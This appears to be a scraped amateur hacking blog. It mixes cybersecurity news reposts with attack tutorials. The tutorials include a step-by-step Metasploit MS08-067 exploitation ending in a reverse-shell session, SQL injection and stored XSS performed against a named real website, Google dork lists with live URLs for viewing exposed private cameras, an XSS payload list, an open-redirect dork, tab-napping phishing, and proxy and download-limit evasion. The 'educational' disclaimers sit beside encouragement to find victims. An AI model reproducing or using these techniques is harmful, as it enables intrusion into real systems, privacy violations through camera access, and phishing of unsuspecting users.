Canadian Govt. Hit by China based Hackers

Feb. 18 –  Stockwell Day, president of Canada’s Treasury Board, said on Thursday that hackers – maybe from China – attacked computers in government departments responsible for overseeing the county’s budget and fiscal policy, leaving officials disconnected from the Internet for nearly two months.
“Every indication we have at this point is that our sensors and our cyber-protection systems got the alerts out in time, that the information doors were slammed shut,” Day said.

Anonymous speaks: the inside story of the HBGary hack

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

How To Access Gmail when it is blocked??

Hello friends,

I have recently joined a software company, which is one of the most reputed IT firm in world. I am writing this post, because I was fed from the proxy configuration of my system, which never allowed me to access neither gmail, nor facebook.
I tried hell lots of proxy even those proxy who have been recently set up, but nothing good came out, none of them worked. Probably, they update their banned sites list every minute.

Wikileaks: Access Website

http://213.251.145.96/ 


above is the direct link, no need of any website name..... just copy and paste it in ur browser thats all.

Hacktivist To Help Wikileaks

Hackers in support of WikiLeaks have brought down the websites of credit-card giants Visa and MasterCard in the ongoing cyber-war between sympathisers of the whistle-blower site and firms trying to stifle it. 

During Christmas season when online shopping is on rise, pro-WikiLeaks activists launched cyber assaults -- code-named "operation payback" -- a few days ago and succeeded in temporarily arresting the websites of Visa, MasterCard, Swiss payment transaction company PostFinance and PayPal. 

Indian Hacker V/S Pakistani Hacker

I am here to write on this topic after a long time, I was almost off from this field but something happened in recent past which made me share my view.

BOM SPADO PROBLEM .................................. in ORKUT

Today in morning i saw every account was posting scrap some thing like bomb amungu or Bom Sabado.

And thos who all are reading this scrap even in their profile, their cookies are also stoled and so they are also posting scrap automatically to their friend list same scrap as bomb something like :(

The script is runnign on and also in status of profile their flag is coming. i mean status are automatically updated in some profile. Its their flag of Brazil. Already Google team are working on it.

By the Bom Sabado means Good Saturday

Currently what u should do is
Solutions:-
Follow these steps:

1. Immediately change your password and security question{ including secondary email and mobile number if they also got changed.) This will solve the problem.

2. Find out whether some communities has been joined automatically. if yeah, do remove them.

3. If your account has been completely hacked, see here:

http://www.google.com/support/forum/p/orkut/thread?tid=39fa418ed1162078&hl=en
4. Always remember these points :

4.1 Donot ever login to any site rather than www.orkut.com

4.2 Donot ever run any javascripts while logged into your orkut account

4.3 Never use any flooder in your account

4.4 Donot ever share your password with anyone else and keep changing your password regularly.

4.5 Donot ever click suspicious link while logged into Orkut a/c. if you are curious you can copy the link and check them in
other browser after cleaning it's browser's cookie and cache.

4.6 Donot ever install any suspicious script on greasemoneky and ALWAYS DIABLE THE GM before logging in to orkut.

4.7 Do your mobile verification also, so that you can get back your a/c if hacker doesn't change the mobile number there.
http://www.orkut.co.in/Main#MobileSetupSettings

4.8 Install a good Update Ant ivirus and Anti Key logger and keep your system free from Key loggers and backdoor trojans.

4.9 Use Virtual Keyboard to enter your password for more securite. KIS 2010 provides it and there are many other V.
keyboards available.

Take a look here and follow the points given to protect your a/c:
http://www.google.com/support/orkut/bin/answer.py?hl=en&answer=57442
and
http://www.google.com/support/orkut/bin/answer.py?hl=en&answer=48579
hope this helps you...;)

happy Orkutting..

HONEY POT: Hack Hackers

What is HoneyPot??
In layman terms we can say it is a trap set by the administrators for the hackers, to fool them or to make them believe that they are hacking into admins system, but instead of that hackers are getting hacked by the admin.

How does this work??
This works by presenting the hackers a foul scenario where , hacker thinks that he is penetrating into the system but instead, he is going no where except he is playing in the world created by the admins. By doing so, admins are able to check all the malicious activity of the hackers like what all ports hackers are trying to connect, what files they are trying to upload, which all sections they are trying to access.

HonyPot is mainly designed to trap the hackers, or present a virtual system to the hackers which never exists.

Technically, Honeypot tries to listen to all the ports on the system, and whenever hacker tries to port scan the system, it gets a list of open ports which he thinks is open but actually, it is the opened port which is shown by the honeypot behind the firewall, so when ever hacker tries to access some random port say 100, then he is accessing the honeypot not the system,

Above scenario can be visualised better: Install a VM ware on a system and run any low version of windows or linux on it with all ports open, and port forward those ports on the host system, so when ever hacker tries to fingerprint or try to do port scan, then he will be gettng info about the VM ware not the host system, hacker may be able to penetrate into the VM ware OS, but our HOST OS remains safe.

But there are mainly deficulty in doing the above job , so special application is created called HONEYPOT to do this job and many other jobs like tracking of packets, file access etc.

There are mainly 3 types of honeypots available:
1.Small: Mainly keeps the log of ip-address which are trying to access your system alongwith the port
2.Medium: Its functionality is little advanced, keeping track of files accessed, time-period, hosts etc.
3.Large: It provides all the functionality, but the main feature of these kind of Honeypots are security feature, these can simulate virtual os for the outsiders or hackers very well.

In this article I am going to give the example of HoneyPot of small scale for Windows.
HoneyPots are available both on commercial platform and also as open source, I am taking the example of KFsensor which is freely available here.
STEP 1: Download the KFSENSOR and winpcap from their website and install them
STEP 2: Restart your system, start winpcap server from the folder menu where it is saved mainly in c:\ drive
STEP 3: Start KFsensor, do as promted in the window , it is mainly for the configuring of your new HONEYPOT.
STEP4: Done, keep your system up for the packets scanning.

Here in above picture u can see some port numbers are striked out, because you need to restart the system, then start your honeypot, then internet connection, else these ports will be used by net connection first, then this honeypot willnot be able to access these ports, hence no information gathering will be possible.
======================================================================
We can also create our small honeypot whose main function is to check for the incoming packets.......
It is nothing but the basic client-server program which listens on all port.

Within minutes of intallation of this small honeypot i got the scanning alert sound, when checked these were the UDP packets mainly left over the internet for scanning of hosts........ hmm nice experience

How much Secure is Facebook

Not long back, Twitter was hacked , alongside sharing the same fate with Google China. All went on blame game, but facebook went for something different to be a one step ahead from all, When everyone was busy in finding and accusing the culprits, facebook was enhancing the security.
In order to avoid the shame like of google, twitter and other IT giants, Facebook security engineers  challenged their own selected few engineers to hack into the account , and gain admin previledge, they were free to do whatever test they need to run, and where ever they need to do.

After a couple weeks, the team of employees had, indeed, hacked into the admins personal Facebook account. By hacking his home network with a rogue WiFi SSID, the team was able to get several of his usernames and passwords. It’s impressive that they were able to hack into the account of a site engineer who not only knew it was coming, but arranged for its coming.

But as bad as that sounds, it really isn’t. Because while the employees-turned-hackers were able to get into Keyani’s personal account, they were not able to access the administration functions of the site, which was the real goal of the exercise. In the comments of TechCrunch’s story — which initially spun the hack as more of a straight-up success — Keyani responded. The response included this clarification:

I’m the engineer who made the challenge and I want to clear up some

misunderstandings. First, we perform tests on the integrity and security of

our site all the time. Second, in this particular case, the challenge

demonstrated the effectiveness of Facebook’s security systems, not the

opposite, Despite months of work and hundreds of hours of effort by a team

of specialized security engineers, the team was NOT able to access

Facebook’s administrative or corporate systems. While they were able to

access my personal Facebook account, they were not able to use this

information to access any other account on Facebook. Finally, challenges

like this are a great way for us to apply our best thinking and skills to

identify risks to our systems. We think our efforts should give users

greater confidence in Facebook and its administrative systems, not less.

ADVANCED PHISING TECHNIQUE: Tab Napping

We all are familiar with the technique of phishing, tab-napping is the advanced form of phishing is out in the market, 
in which when u open any genuine page say the page of any legitimate website like any shop,etc... and if you dont use that
page or in short if that page is kept idle for few seconds because of many reasons like we start browsing other site,
attending phone calls etc, then malicious page automatically gets redirected to phished page or duplicate page of popular sites
like gmail,orkut,facebook,yahoo,etc... which we didnt notice, coz.. we never opened that page, so it looks kinda of genuine page.
=================================================================================================================================
Method:
How this is done:
It is done by checking wether your page is idle or not, if it is idle or not used for some particular time period
then it gets redirected:
Things to be done:
1.check for mouse movement
2.check for scroll bar movement
3.check for keystrokes

If any of the above event is not triggered till few seconds , this means user is not using that tab, either is off from system 
or using other tab, so if these conditions are met, then we redirect it to our phished page, which user thinks it to be genuine
page.
===================================================================================================================
Code:
http://tinypaste.com/e94a51
================================================================
demo:http://slayericw.zxq.net/tabnappingdemo.html

Live CAM Hack

Hello guys, have you ever wondered about watching someone else using their own cam, hmm ya u guys might be saying yes it is possible... to see through someones cam using some tools like RATS etc, but here i would like to share some live cam hacks, which are normally used by local authorities to monitor streets or anyone else... i mean those cams which can be accessed remotly but in order to access them you should have the proper authorization, but due to lack of proper security measures, those cams can be seen by anyone... thanx google you just need to use google hack, some of the google dorks which can be used are:


inurl:”CgiStart?page=”
inurl:/view.shtml
intitle:”Live View / – AXIS
inurl:view/view.shtml
inurl:ViewerFrame?Mode=
inurl:ViewerFrame?Mode=Refresh
inurl:axis-cgi/jpg
inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurl:view/index.shtml
inurl:view/view.shtml
liveapplet
intitle:”live view” intitle:axis
intitle:liveapplet
allintitle:”Network Camera NetworkCamera” (disconnected)
intitle:axis intitle:”video server”
intitle:liveapplet inurl:LvAppl
intitle:”EvoCam” inurl:”webcam.html”
intitle:”Live NetSnap Cam-Server feed”
intitle:”Live View / – AXIS”
intitle:”Live View / – AXIS 206M”
intitle:”Live View / – AXIS 206W”
intitle:”Live View / – AXIS 210?
inurl:indexFrame.shtml Axis
inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
intitle:start inurl:cgistart
intitle:”WJ-NT104 Main Page”
intitle:snc-z20 inurl:home/
intitle:snc-cs3 inurl:home/
intitle:snc-rz30 inurl:home/
intitle:”sony network camera snc-p1?
intitle:”sony network camera snc-m1?
site:.viewnetcam.com -www.viewnetcam.com
intitle:”Toshiba Network Camera” user login
intitle:”netcam live image” (disconnected)
intitle:”i-Catcher Console – Web Monitor”


I would also like to add few example which i got using these hacks.
http://www.havnegaten15.com:8134/
http://camera.infosakyu.ne.jp/

there are many, but i leave it on you to find the rest cams, and ya also i got those links using the dorks i have mentioned, but what to do after getting the search result, i wont tell tell, coz. i leave that on you guys how to proceed next, as no fun will be left if i tell that too.

METASPLOIT:HACK LIKE MOVIES

We all have seen the movies like hackers,etc we all have imagined to become the one like in movies.

So, taking a step forward to this dream i am giving a small tutorial on metasploit. I will be using a terminology msf instead of metaspoilt.

For those who dont know what is msf and have always been facinated by black and green screens, here is how it is done.

I am going to use NESSUS for vul. scanning and rest of the work will be done by msf. Also, I will be using msf console because it gives better control over the msf framework and faster response, using console has one more added advantage i.e.. it gives geeky look for which we all have a mind set that its very hi-fi.

Cutting all the discussions, directly coming to the topic.

So How to do it, I will describe this in steps for the better understanding, for this purpose i have used two system whom i have connected via WAN, host os doesnot matter, victim has xp installed on it.


Basic commands to be known:

1.searching anything: "search name"
2.set exploit: "use exploit_name" 
3.set payload:"set payload  payload_name"
4.see info: "info name"

STEP 1:
First instead of using nmap for port scanning , we have used nessus for the vul scanning, nessus has one more added advantage of giving each vul a number which helps in msf to search the proper exploit.

So, first we will scan the target.

In the above scan you can see how good nessus is in giving the information about the level of vulernability.
After analysing the report, we see 5 high vulnerability so clicking on the first one, lets see its details:

We can see lots of info about the vulnerability, vulnerability here service flaw at port 445 which has been given the number of MS08-067, this number is going to be of great help in future.


STEP2:
In msf, we are going to search for the proper exploit which can exploit it's vulnerability, so to make our search easier we are gonna type search number, wola see what we have got is the exact name of exploit, but for the other cases where you dont know the number or id , then also we can search by giving various parameters like name eg. search name etc...then we have to choose the best one among them by comparing all the requirnments and working.

Now , since  here we have got the exact exploit, then we are going to use this exploit,
 command used for it:
use exploit name eg. use windows/smb/ms08_067_netapi
we will check the various parameters by typing: info windows/smb/ms08_067_netapi


STEP3:
Now it's time to set victim's ip address i.e.. RHOST , RPORT is already set to 445


command to set RHOST: setg RHOST 192.168.1.5
Note:
(192.16.1.5 is the ip address of ma pc on local network whom i am going to attack)


STEP4:
After setting exploit, now its time to set the payload, so the main question arises which payload to use now??
Options for this questions can be shortened by typingshow payloads which gives the list of payloads which are compatible with that exploit.
In that we are going to select any payload , i prefer meterpreter/reverse_tcp.


To use this payload type the command: set payload windows/meterpreter/reverse_tcp


so , i will check it's paramater i.e.. LHOST, LPORT etc, now to check that , we type info windows/meterpreter/reverse_tcp




Now here we have to make some change LHOST, LHOST refers to the ip-address of attacker i.e.. mine.
So to set the LHOST we do :   setg LHOST 192.168.1.10

all done we are now ready  to exploit.


STEP 5:
Finally we type  exploit wola.... attack sucessful, session is created.

Now, what to do now?? Just type the command  help you will get a list of commands like kill process, shutdown,hash dumps, but i like shell because it gives you the full command line control of the system which you can see from the above picture.




Special Thanks: ICW,AH, guys and b0nd bro for their help in learning.




NOTE:
1.This tutorial is only for learning purpose, for any illegal use author is not responsible.
2.Any form of use of this tutorial should be done at own risk.

RapidShare Hack

Guys who dont have rapidshare premium account are feed from rapidhsare because of two reasons:

1.Maximum time during the day time , we end up with they dont have free slots for download either you premium member or try after some time

2.If we get the access , then all the free users have to wait, for some 30 sc to 120 seconds deponding upon the traffic.


3.You guys can download only one file at time.

solutions:
1:
For the first problem really nothing can be done untill unless u have premium account,  or u can use some downloaders which are available on net. just google them
2.
This tutorial is meanly meant to deal with the second problem.
Requrienments for this is: javascript enabled browser, else it wont work


Now what to do when u get the time line of wating for your download say 30 sc, 90 sc which varies..
Steps:
1. When u click as a free user check, wether u get the time line or not, if not kepp trying or try after some time.


2.when u get the time-line, then:

3.Go to the address bar remove replace the address by following command:

javascript{:}alert(c=0).
From the above command remove the curly braces i.e.. {  }
press enter, whola what did u see now. a screen prompts up, with 0 written on , wait for 1-2 seconds, you will get the download icon, click that, and your download will start.

sometime you may get error that your javascript is not supported, so enable javascript.


For these things i prefer using google chrome, and ya sometime you guys may also get this error even if you have javascript enabled, then during this case probably javascript from your browser didnot gave the response to the server, for this problem close your browser and restart it, and try again definetly after 2-3 attempts your browser will work.


3.
Now you cannot download multiple files from rapidshare being free user, this problem can be simply solved by using proxies.
steps:
1.start downloading first file.
2.open a new window, go to any proxy like kproxy.com or any other proxy which ever u like, there type the url of the file you want to download from rapidshare.


or else you can use another trick to change your ip-address, beacuse rapidshare guys keep track of only ips nothing much, so you guys can use softwares like hide my ip etc, which spoofs your ip and then you can download it.

SQLi & XSS ATTACK practical demonstration

We guys have attended so many conferences on hacking coming across the terms like phishing,sqli, and now adays XSS.

But what happens there is that we dont get a chance to do it by ourself, so that we see by ourself infact feel it... happening.

So, i thought of wrtitng a small tutorial for xss and sqli which by chance because of a friend i found in same site, so it was easy for me also to give the explanation and as well as demonstration.

First: SQLi :

What is SQLi??

SQli is the sql injection vul. which is due to of poor coding of the website mainly, at that part where we are handling the database querry and not putting the handling condition for error.

What is XSS?

For getting the idea of XSS please refer to my previous post of XSS ANATOMY strucuture.

We are taking the example of website: http://www.lilinet.com/

Proceed as per the step then you will understand how sqli and xss work:

step1:

open the site and go the login panel. Here we will be using sqli vul. i.e.. as most people like to say magic figure ' or 1=1-- . I wont explain here the working and concept behind this, well if u guys want, we will discuss this later.

After this click ok. boom what u guys see, you are inside the panel of some trusted user, actually the user whose user id=1, tht guys profile u vl get access, reasons i vl discuss later on sqli tutorials.

This was basic sqli vulernability.

STEP2:

This was the practical demonstration for the sqli, now we will move forward for the demonstration of xss.

Since we are logged in the the user profile, now to get the demonstration of XSS, go to the member section, and in name section type {u}carter, instead of carter you can type any name. here replace { } of { u} by < >, coz, these are the basic html tags, and even blogs behaviour deponds on this, so to show u the proper syntar i have to write { }, but see the picture , you will get better idea

After entering the name like ur name , and clicking apply changes, what you guys see, that your name has appeared as underlined. This gives us an idea that , basic html tag filtering is not enable on this website.

Lets try by other ways i mean lets try with other html tags:like marquee etc, i have tried all this and trust me it has worked. like try {marquee}Hacked ,,,,,,,,,,,,,,,,,,{/marquee} in the name section, see its effect after clicking on apply changes.

same reason replace { } by < > respectively.

To confirm that its not temprorary change, lets change the section say go to home section , wola.... name has not changed here in my case it is still underlined carter, in your case it will depond on you whatever name you keep.

Thats it , CONGRATULATIONS GUYS YOU GUYS HAVE BEEN ABLE TO HACK ACCOUNT

Go, have fun , play few free games, but dont damage the website because cyber crime law is very strict, and trust me you guys dont wanna to mess with them.

NOTE:

1.This information is only for educational purpose, website admin has been informed of the loop holes, so it might get fixed.

2.This tutorial is only meant for educational purpose, author is not responsible for any illegal use.

IF YOU GUYS LIKE THIS THEN PLEASE TELL ME HERE OR IF YOU GUYS DONT LIKE THEN PLEASE SUGGEST WHAT ELSE COULD BE DONE, I WANNA THIS BLOG MORE INFORMATIVE IN THE FIELD OF CYBER SECURITY.
my e-mail id: s1ayer.icw@gmail.com

some more experiments done on that website......................

How To Become HAcK3R

This word "HACKER" facinates , makes us crazy like anything , makes us mad, we are like omg, being a hacker is such great gift to us, we can hack anything, instead everything we can break into everything, we are the most supreme of all no one can stop us.

These are the few thoughts which comes into the mind during the very begining of the stage, after this stage trust friends more than 90% of the guys leave this thing after knowing the devotion and time this field demands. Guys have live their normal life in day, and in night they live HACKER'S LIFE, this doesnot mean that they sit in some kind of garagae with lots of computer screens , and wires around them , and they sleep their too. lol this is the movie myth, well i wont say guys are not like that , but maximum of hackers are not like what movie depicts them.

Before actually starting the topic i will like to discuss the kind of hackers:

1.Black Hat :

These are the bad guys, who break into companys for money sake.

2.White Hat:

These are the good people who tries to find the security breach in the company and work for the improvement of the security.

3.Grey Hat:

These days, a new breed of hackers are coming into existence called grey hat hackers, who all are the mixture of black and white hat hackers, these are the hackers who break into other countries network for the countrys sake, or due to of patriotic feeling which they have with them.

These guys are not employed by anyone, these are voluntered and self organised group and difficult to find.

Now the first question arises is:

Q1. who is hacker?

The term hacker has been taken in negative way since last decade, actually hackers are supposed to be the geeks or the people who have excellent knowledge of the system, say comp, language like c,c++ etc, who can push that system to new extreme or can define new boundries for that system, these guys were considered to be good.

But since last decade, hacker is being used as negative word , as a guy who breaks into computer system illegaly.

Majority of us are not hackers, we are the people who use the tips and tricks developed by others so we can call ourself crackers , those who dont have much knowledge about the domain but can break into the system. But the problem with the crackers are the with the new advancement of technology, those tips and tricks also stop working, so again they become dependent on Hackers (the real one)

One of my friend said this ........... 

guy who discovered the science of 1=1 is a hacker not those who are using it-------------KD.

for those who dont understand the significance of 1=1 ..... it is the basic parameter for checking sqli.

Q2.How to become hacker???????

So by now you guys must have got the clear idea , about what hacker is actually, since hackers are nowadays only referred in computers field.

So, in starting you have to learn the basic languages like C,C++,java,ASSembly lang, after this few scripting language perl,javascript, one or two web designing language php,jsp,asp,html,etc.... few databse like oracle,mysql,etc..

when you get the good control over atleast 50% of above mentioned material and atleast one from each section, then you will understand the working of computer system, how does the computer works, where it can do fault etc... computer is also kind of dumb human, who does only those things which he is told to do, after that its upto your wish, how you can fool the computer.

That is the stage when you will be creating new boundries and yourself will be breaking it. and at that time you can call yourself A HACKER.

XSS:ANATOMY PART 2

Hello friends, this time i am going to tell you different kind of tags that can be used for xss injection, i will be taking a practical example of a site, as the vulernability about that site has been informed but still that site has not been fixed.

Initially i will try to collect all the tags which can be used for xss, i will also like to mention that this is not my own finding originally published by RSNAKE, i am trying to collect all the information regarding xss at once place, so i thought without the basic tags, it wont be possible to get the general idea of xss working.

Tags:

1.Script tag

We all know for the basic finding of the xss bug, we type {script}
alert(1){/script}. It is used to check wether any javascript is passing or not.

2.Image tag

It is used to check the filter for bypassing using image tag. eg.{img src="javascript:alert(1);" /}

Those who know the basic of HTML can understand this, I wont be explaining its working. In this javascript try to bypass the filter by using img tag.

3.iframe

In this iframe injection is used to incorporate the evil website into the victim's website

eg.
{iframe src="http://www.google.com"}{ /iframe}

4.Title Tag
Title tag can also be used to include the malicious XSS code
{/TITLE}{SCRIPT}alert("XSS");{/SCRIPT}

5.Input tag.
{INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"}

6.Body Tag
{BODY BACKGROUND="javascript:alert('XSS')"}
One notabel feature of body tag is that it doesnot require the usage of javascript for the esxecution of xss. example:
{BODY ONLOAD=alert('XSS')}

7.Style Sheet
Remote style sheet can be also used for the execution or inclution of malicious XSS code
{LINK REL="stylesheet" HREF="http://www.google.com"}

8.Frames
Frames can be also used as they have the same kind of problem as of iframe
{FRAMESET}{FRAME SRC="javascript:alert('XSS');"}{/FRAMESET}

9.Tables
You guys can be surprised to know that even tables can be used for the xss this discovery was made by RSNAKE(as far as i know)
{TABLE BACKGROUND="javascript:alert('XSS')"}

10.Div
Now comes the favourite of all DIV style.eg.
{DIV STYLE="background-image: url(javascript:alert('XSS'))"}

In the above examples replace {  } by <  > respectively as in this blogspot all the tags were taken as html code so pages behaviour was changing according to it, due to of which i wasnt able to give the exact syntax.

In the above figure i have tried to give you the practical demonstration for the iframe injection, as it is not possible here to give the practical example of each and every tag discussed.  I havenot discussed the working or the demerits of the tags, which leds to the execution of arbitarary XSS code, proabably i will do that in future.

Anyways, this website is up till today and original finder of the xss bug has reported its bug also. If you guys wants to practice more you can visit xssed.com which is database for the xss vul.

I will discuss more tags in future, as RSNAKE has given large number of tags, all credit goes to him.

Note:

1.Author is not resposible for the illegal use of the material provided here, it is only meant for the education purpose.

XSS:Anatomoy structure Part 1

Hello guys, with the increasing technology in cyber world securities of websites are also getting stronger. Those days are not far when things like sqli, etc.. will become the thing of past as in sqli is only good for php version 5, if php version is less than 5.. then it is very difficult to guess the column names as you have to do guess work. and for php version 6, it is being heard that they will have their own feature of blocking sqli. SO sqli is going to be the things of past atleast in the filed of security or cyber attack.

so, i thought of researching on old method but it will still exist as it deponds on the level of programmer how efficient or how good is at programming, till the day programmers are going to do mistakes this vulernability is going to exists.

It is known as XSS. Ya , you ar e right it is cross site scripting, in which attacker gets the priviledge of executing an arbitrary code in the url of victim site and those codes will be executed by server.

I will start with giving the basic example of xss how it can be performed although it is very baisc, and almost this trick is on the verge of extinct, but still u can try this trick to get an idea how xss works.

In this example, I will try to redirect the browser to a new website say www.google.com by making the server to execute this request on the behalf of attacker.

First step: How to find the vulernability

Remeber google is the best friend, so we will ask google only.

type this in google:

inurl:"navigate.php?url"

you will get some result

These sites are ill-coded which can be used by an attacker to redirect to the the site which he wants,as a result script will be executing on the behalf of attacker, say if an attacker redirects this url to its own evil shell, since server is executing the script there is very high probability that attacker will take control over the site.

Second Step:Action

In the result you must have got something like site.com/navigate.php?url=www.nextsite.com

replace the nextsite.com to the site which you want say www.google.com and press enter wola..... u have been redirected to google.com.. now try with different servers..

Now many of us wont be understanding the actual concept in this process, so to give them a clear picture i have shown second example.

Example 1:

Sorry for the figure arrangements

In the third figure you can see that i have changed the url to microsoft.com, and my browser is working

In second figure it shown that finally url has been redirected to microsoft's home page.

But many users can ask, what happened , i dont see anything big happening here..

so look at the first figure you answere lies there...... you can see that when i changed the parts after the url: to google.com then, google's website is being running on the victim's homepage this means victim is executing the code on our behalf.

NOTE:1. The method which i have stated above for finding the vulernable servers maynot work alwyas.. or it may happen you may not get the search results. so it deponds on you how you refined yours search.

for eg. you can try : inurl:navigat.php? + inurl:url , etc.... it deponds on your creativity how you find your victim.

2.This tutorial is only for education purpose , only you are responsible for what you do with it.

3.Stay in touch xss is not over, there are many more to go....... i will keep you updating..............

USA failed in CyberWar Test

A large-scale simulated cyberattack on the U.S. yesterday proved one thing, according to organizers: The country isn't prepared for a real attack.

In a press release issued today, the Bipartisan Policy Center (BPC) -- which organized "Cyber Shockwave" using a group of former government officials and computer simulations -- concluded the U.S is "unprepared for cyber threats."

Former Secretary of Homeland Security Michael Chertoff, who chaired the simulated National Security Council, says cyberterrorism "ought to be treated as a threat of sufficient seriousness that we give it the priority attention we've given weapons of mass destruction." Cyberterrorism is "more complicated by the fact that it involves every individual," Chertoff says. "Anybody who has a smartphone, who downloads an app, or gets on their PC is engaged in this process."

Reports from those who witnessed the simulation indicate that the U.S. defenders had difficulty identifying the source of the simulated attack, which in turn made it difficult to take action.

"During the exercise, a server hosting the attack appeared to be based in Russia," said one report. "However, the developer of the malware program was actually in the Sudan. Ultimately, the source of the attack remained unclear during the event."

The simulation envisioned an attack that unfolds during a single day in July 2011. When the council convenes to face this crisis, 20 million of the nation's smartphones have already stopped working. The attack -- the result of a malware program that had been planted in phones months earlier through a popular "March Madness" basketball bracket application -- disrupts mobile service for millions. The attack escalates, shutting down an electronic energy trading platform and crippling the power grid on the Eastern seaboard.

"A useful aspect of something like this simulation is it helps people visualize what is realistic and possible in some circumstances," says John McLaughlin, who played the role of director of national intelligence. "The smart thing is to prepare now, to do the legislation now, to do the bipartisan work now, to do the intelligence work now, the foreign policy work. These are all very complicated things, and we need to get started on them."

Stephen Friedman, who played the role of secretary of the Treasury, says of a potential cyberattack on the U.S.: "There is no question in my mind that this is a predictable surprise, and we need to get our acts together."

The panel of government officials agreed that cyberterrorism is a national security issue that needs to be addressed quickly and in a bipartisan manner. "It raises an issue of the system's responsibility to be able to come together in a nonpartisan way and figure out the answer to questions as opposed to kicking the can down the road until we're in an emergency," Chertoff says.

The exercise also raised legal questions regarding personal privacy versus national security. "We have to come to grips with the implications for our personal privacy and the relationship between the federal government and the private sector," says Jamie Gorelick, who played the role of attorney general.

"Cyber ShockWave demonstrated the tremendous challenges the government has in dealing with potential cyberattacks," says Jason Grumet, founder and president of the BPC. "Our goal for Cyber Shockwave was to identify real policy and preparedness issues that need to be addressed in order to combat an attack of this magnitude that escalates rapidly and is of unknown origin."

source:Dark reading original author:tim wilson.

VirusTotal.com: Best answere for online malwares

All of us always keep on searching for good anti-virus program , but viruses these days have become so much sphisticated that, some time even anti-virus misses them. We always perform re-scan to ensure that there is no virus in the file, but still some time we end up losing our memory space, or hard-disk crash.

I was looking for a solution to this, then i found this site VirusTotal.com, here they scan the file with 40 differenet anti-virus which makes passing of virus or missing the trace of virus almost impossible.

Lets see how it works, first step is to upload the file to this website, after uploading we see that our file is queued, this is the unwanted part, beacuse none of us wants to wait just to get one file scanned, this could be the reasoned with these guys have only one server so they cannot process all users request at same time, hope they would improve this feature in near future.

Second lets see how they perform scanning, after getting the turn of our scan we see that a list of antiviruses have been shown using which our file will be scanned , thts interesting because it includes all the name which we could think of like kaspersky,microsoft,etc..

But does this means that each and every time we have to visit virus uploader ,The answere is NO, as they have introduced Virus Total uploader using which we can directly send the file to the virus total, by simple right clicking the file and selecting the option send to option. Virus uploader is a free program which can taken from virtustotal.com.

So where does the virustoal.com score above other anti-virus beacuse of its inability to check all system files which is a common option in all anti-virus. Its feature of getting the file scanned from 40 anti-virus makes it a perfect antiv-virus for the online document, as maxmimum threat, or malware or virus comes from online attachments like songs,e-mail etc. Virustotal scores above all.

"AURORA" IE EXPLOIT THROUGH WHICH GOOGLE WAS HACKED

The biggest news which HIT this year was chinese hacking of GOOGLE .

According to the experts , attack vector of china which hit the companies like Google, Adobe many other in different part of the world was a 0day exploit was basically an invalid pointer reference of IE.

Even Microsoft admitted that the Vulnerability in IE caused the hacking of the google.

According to the Microsoft only IE 6 was used for the attack, exploiting which crackers gained the access to the network of more than 20 + companies.

According to the experts main aim of the hackers were to gain the access of the password of some chinese human right activists.Probably they were also successful in their attempt, which made google to announce they might shut down their china office.

The name "Aurora" is predicted by the researchers who think that crackers have named the mission with same name, as this name was found in the exploit during analysis.

Within Hours Metaspoilt release the exploit of IE 6 showing how they would have done this by simple example.

You can see the example at given link:http://vimeo.com/8771582

Code used for exploit(example):

As this blogspot didnt allow me to write the tags, so i am providing you another link for the code.

http://tinypaste.com/d8dda